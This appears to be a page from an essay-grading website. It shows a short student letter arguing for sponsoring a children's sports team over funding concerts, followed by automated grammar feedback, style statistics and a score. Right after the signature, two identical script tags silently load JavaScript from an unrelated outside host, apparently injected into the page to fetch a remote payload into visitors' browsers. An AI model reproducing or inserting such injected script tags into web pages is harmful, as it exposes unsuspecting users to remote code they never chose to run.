Dear Sir or Madam,
I am writing this letter to give my feedback to either sponsor the local children's sports team or pay for the two open air concerts.
We need the children to take interest in sports. By sponsoring the sports team we can build better grounds and provide better facilities, thus encouraging the children to participate in sports. As a result, the children will be active and switch off from their cell phones.
However, this area did not have an open air concert for a long time. Organizing not one but two concerts will foster community gathering. People will mingle with each other. Also, it will provide a much needed break from their daily routine.
In conclusion, I would like you to sponsor the local children's sports team. Although, the concert will help in community building we need to encourage the younger generation to play out and learn a sport. This will inculcate sportsmanship and discipline in them from a younger age.
I look forward to hearing about the decision of the company.
Yours Sincerely
Fiona D'souza<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
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Grammar and spelling errors:
Line 7, column 139, Rule ID: UPPERCASE_SENTENCE_START
Message: This sentence does not start with an uppercase letter
Suggestion: People
...ncerts will foster community gathering. people will mingle with each other. Also it wi...
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Line 7, column 175, Rule ID: SENT_START_CONJUNCTIVE_LINKING_ADVERB_COMMA[1]
Message: Did you forget a comma after a conjunctive/linking adverb?
Suggestion: Also,
...ng. people will mingle with each other. Also it will provide a much needed break fro...
^^^^
Transition Words or Phrases used:
also, but, however, look, so, thus, in conclusion, as a result
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 1.0 7.48453608247 13% => More to be verbs wanted.
Auxiliary verbs: 10.0 4.92783505155 203% => Less auxiliary verb wanted.
Conjunction : 7.0 5.05154639175 139% => OK
Relative clauses : 0.0 3.03092783505 0% => OK
Pronoun: 16.0 32.9175257732 49% => OK
Preposition: 23.0 26.3917525773 87% => OK
Nominalization: 1.0 3.85567010309 26% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 886.0 937.175257732 95% => OK
No of words: 179.0 206.0 87% => More content wanted.
Chars per words: 4.94972067039 4.54256449028 109% => OK
Fourth root words length: 3.65774358864 3.78020617076 97% => OK
Word Length SD: 2.56333889343 2.54303337028 101% => OK
Unique words: 116.0 127.690721649 91% => More unique words wanted.
Unique words percentage: 0.648044692737 0.622605031667 104% => OK
syllable_count: 256.5 290.88556701 88% => OK
avg_syllables_per_word: 1.4 1.41237113402 99% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 7.0 9.13402061856 77% => OK
Article: 2.0 0.824742268041 243% => Less articles wanted as sentence beginning.
Subordination: 1.0 1.83505154639 54% => OK
Conjunction: 0.0 0.463917525773 0% => OK
Preposition: 2.0 1.44329896907 139% => OK
Performance on sentences:
How many sentences: 13.0 12.6804123711 103% => OK
Sentence length: 13.0 16.3608247423 79% => The Avg. Sentence Length is relatively short.
Sentence length SD: 37.6668673957 44.8134815571 84% => OK
Chars per sentence: 68.1538461538 76.5299724578 89% => OK
Words per sentence: 13.7692307692 16.8248392259 82% => OK
Discourse Markers: 4.76923076923 4.34317383033 110% => OK
Paragraphs: 5.0 4.29896907216 116% => OK
Language errors: 2.0 2.54639175258 79% => OK
Sentences with positive sentiment : 7.0 7.41237113402 94% => OK
Sentences with negative sentiment : 0.0 1.49484536082 0% => More negative sentences wanted.
Sentences with neutral sentiment: 6.0 3.94845360825 152% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.265393310376 0.216113520407 123% => OK
Sentence topic coherence: 0.081612106688 0.0766984524023 106% => OK
Sentence topic coherence SD: 0.106069534158 0.0603063233224 176% => OK
Paragraph topic coherence: 0.152893149129 0.12726935374 120% => OK
Paragraph topic coherence SD: 0.156417804063 0.0580467560999 269% => More connections among paragraphs wanted.
Essay readability:
automated_readability_index: 8.8 8.37731958763 105% => OK
flesch_reading_ease: 75.2 70.7449484536 106% => OK
smog_index: 3.1 3.82989690722 81% => OK
flesch_kincaid_grade: 6.0 7.45979381443 80% => OK
coleman_liau_index: 10.84 8.71597938144 124% => OK
dale_chall_readability_score: 7.9 7.59969072165 104% => OK
difficult_words: 41.0 41.2886597938 99% => OK
linsear_write_formula: 8.0 8.62886597938 93% => OK
gunning_fog: 7.2 8.54432989691 84% => OK
text_standard: 8.0 8.15463917526 98% => OK
What are above readability scores?
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Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
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